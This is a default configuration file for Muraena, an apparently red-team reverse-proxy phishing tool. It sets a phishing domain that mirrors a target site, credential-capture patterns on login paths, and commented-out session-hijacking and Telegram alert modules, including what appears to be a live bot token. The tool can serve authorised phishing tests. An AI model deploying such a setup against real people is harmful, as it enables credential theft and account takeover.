muraena/config/config.toml

255 lines
6.1 KiB
TOML

#
# Proxy
# The proxy configuration controls how Muraena handles traffic routing between the phishing target and the
# legitimate destination.
# See: https://muraena.phishing.click/docs/proxy
#
[proxy]
# Phishing domain
phishing = "phishing.click"
# Target domain to proxy
destination = "example.com"
# Listening IP address (IPv4 or IPv6)
# e.g. 0.0.0.0 or [::]
# Default 0.0.0.0
#IP = "127.0.0.1"
# Listeninng TCP Port
# Default 443 for HTTPS, 80 for HTTP
#port = 443
# Listen announces on the local network address.
# The network must be "tcp", "tcp4", "tcp6" (default "tcp").
# listener = "tcp4"
#
# Simple port forwarding used when the phishing site listen on a port different from target domain, such as:
# - test.muraena:8443
# - victim.site: 443
#
# port mapping can be configured as follows:
# <ListeningPort>:<TargetPort>
#portmapping = "443:31337"
# Force HTTP to HTTPS redirection
[proxy.HTTPtoHTTPS]
enable = true
HTTPport = 80
#
# Origins
# See: https://muraena.phishing.click/docs/origins
#
#[origins]
# externalOriginPrefix = "cdn-"
# externalOrigins = [ ]
#
# Transform
# Proxy's replacement rules
# See: https://muraena.phishing.click/docs/transform
#
[transform]
# Enable transformation rules in base64 strings
[transform.base64]
enable = false
padding = [ "=", "." ]
[transform.request]
# userAgent = "MuraenaProxy"
# headers = ["Cookie", "Referer", "Origin", "X-Forwarded-For"]
# remove.headers = [
# "X-FORWARDED-FOR",
# "X-FORWARDED-PROTO",
# ]
# add.headers = [
# {name = "X-Phishing", value = "via Muraena"},
# ]
[transform.response]
skipContentType = [ "font/*", "image/*" ]
# headers = [
# "Location",
# "WWW-Authenticate",
# "Origin",
# "Set-Cookie",
# "Access-Control-Allow-Origin",
# ]
# customContent = [
# ["this is green","this is blue"],
# ]
#
# remove.headers = [
# "X-XSS-Protection",
# ]
# add.headers = [
# {name = "X-Phishing", value = "via Muraena"},
# ]
#
# Redirect
# See: https://muraena.phishing.click/docs/redirect
#
#[redirect]
# [[redirect]]
# hostname = "phishing.click"
# path = "/login"
# query = "id=123"
# redirectTo = "https://poor.victim/login"
# httpStatusCode = 301
#
# LOG
# See: https://muraena.phishing.click/docs/log
#
[log]
enable =true
# Default: "muraena.log"
# filePath = "muraena.log"
#
# Redis
# See: https://muraena.phishing.click/docs/redis
#
#[redis]
# host = "" # default: "127.0.0."
# port = # default: 6379
# password = "" # default: ""
#
# TLS
# See: https://muraena.phishing.click/docs/tls
#
[tls]
enable =true
# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
# filepath
expand = false
certificate = "./config/cert.pem"
key = "./config/privkey.pem"
root = "./config/fullchain.pem"
sslKeyLog = "./config/sslkeylog.log"
#
# Danger zone, be careful editing these settings
#
# Minimum supported TLS version: SSL3.0, TLS1.0, TLS1.1, TLS1.2, TLS1.3
minVersion = "TLS1.2"
# maxVersion = "TLS1.3"
# preferServerCipherSuites = true
# sessionTicketsDisabled = true
# InsecureSkipVerify controls whether muraena verifies the server's
# certificate chain and host name.
# insecureSkipVerify = false
# RenegotiationSupport
# Note: renegotiation is not defined in TLS 1.3.
# Options:
# - Never (default):disables renegotiation
# - Once: allows a remote server to request renegotiation once per connection.
# - Freely: allows a remote server to repeatedly request renegotiation.
renegotiationSupport = "Never"
#############################################################################
# Modules
#############################################################################
#
# Tracking
# See: https://muraena.phishing.click/modules/tracker
#
[tracking]
enable =false
trackRequestCookie = true
[tracking.trace]
# Tracking identifier
identifier = "_gat"
# Rule to generate and validate a tracking identifier
validator = "[a-zA-Z0-9]{5}"
# Tracking initial HTTP Header (empty is: If-Range)
header = "X-Whatveryouwant-Header"
# Set tracking cookie for a custom domain
# domain = ""
[tracking.trace.landing]
# Tracking types can be Path || Query (default)
#
# query:
# ?identifier=trackingID
#
# path:
# /trackingID
#
type = "query"
# Landing HTTP Header (empty is: X-If-Landing-Redirect)
header = "X-Whatveryouwant-Landing-Header"
# redirect url once the landing is detected (applicable only if type is path)
# redirectTo = "https://www.google.com"
[tracking.secrets]
paths = ["/login", "/submit"]
[[tracking.secrets.patterns]]
label = "Credential Capture - Username"
start = "username="
end = "&"
#
# NecroBrowser
# See: https://muraena.phishing.click/modules/necrobrowser
#
#[necrobrowser]
# enable = true
# endpoint = "http://10.0.0.2:3000/instrument"
# profile = "./config/instrument.necro"
# [necrobrowser.urls]
# authSession = ["/settings/profile"]
# authSessionResponse = ["/privacypolicy"]
#
# [necrobrowser.trigger]
# type = "cookie"
# values = ["ESAUTHENTICATED"]
# delay = 5
#
# Static Server
# See: https://muraena.phishing.click/modules/staticserver
#
#[staticServer]
# enable =false
# localPath = "./static/"
# urlPath = "/evilpath/"
#
# Watchdog
# See: https://muraena.phishing.click/modules/watchdog
#[watchdog]
# enable =true
# dynamic = true
# rules = "./config/watchdog.rules"
# geoDB = "./config/geoDB.mmdb"
#
# Telegram
# See: https://muraena.phishing.click/modules/telegram
#[telegram]
# enable =true
# botToken = "1587304999:AAG4cH8VzJ1b8tbamq0VZM9C01KkDjY5IFo"
# chatIDs = ["-1001856562703"]